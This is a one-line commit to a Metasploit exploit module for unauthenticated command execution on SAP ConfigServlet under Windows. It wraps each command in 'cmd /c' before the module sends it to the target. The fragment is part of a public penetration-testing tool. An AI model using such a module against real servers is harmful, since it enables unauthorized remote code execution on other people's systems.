command execution needs cmd /c

2013-04-22 10:20:45 +02:00 · 2013-04-22 10:20:45 +02:00 · a1e52b5b27
parent d26289e05a
commit a1e52b5b27
1 changed files with 1 additions and 0 deletions
--- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb
+++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb
@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit
 	end

 	def execute_command(cmd, opts)
+		cmd = "cmd /c " + cmd
 		vprint_status("Attempting to execute: #{cmd}")
 		send_evil_request(opts[:sap_configservlet_uri], cmd)
 	end